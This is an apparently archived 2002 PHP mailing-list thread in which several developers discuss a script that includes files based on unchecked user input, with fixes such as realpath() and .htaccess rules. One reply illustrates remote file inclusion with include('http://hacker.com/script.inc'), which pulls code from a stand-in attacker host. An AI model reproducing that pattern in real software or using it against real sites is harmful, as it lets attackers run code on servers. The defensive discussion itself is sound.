Re: Umm... Uh-oh

That would not help you if you include files based on unchecked user input. Justin French wrote:

all my include files are *.inc, and I have a .htaccess file that makes apache refuse to serve those files directly thru http. Justin on 04/10/02 7:58 PM, John Wards (j.wards@sportnetwork.net) wrote:

erm......would that alow hackers access? Say I have a database include file would hackers be able to get access to my database like this? (include('http://mysite.com/datainc.php');) I hope bloody not!!! if so how on earth do i get round that! John On Friday 04 Oct 2002 10:52 am, Marek Kilimajer wrote:

Use realpath() to check the path. I also suspect your script is vulnarable to cross-site includes (include('http://hacker.com/script.inc');) Rick Beckman wrote:

Okay, I was mistaken... There is a gaping security hole in my simple li'l script... How do I modify it to only accept files from a certain path? I want the url format to be script.php?call=1 where "1" is the called file in the /includes/ directory. Just when I get optimistic I leave the entire system exposed. Yeah, that fits with my luck. :-)

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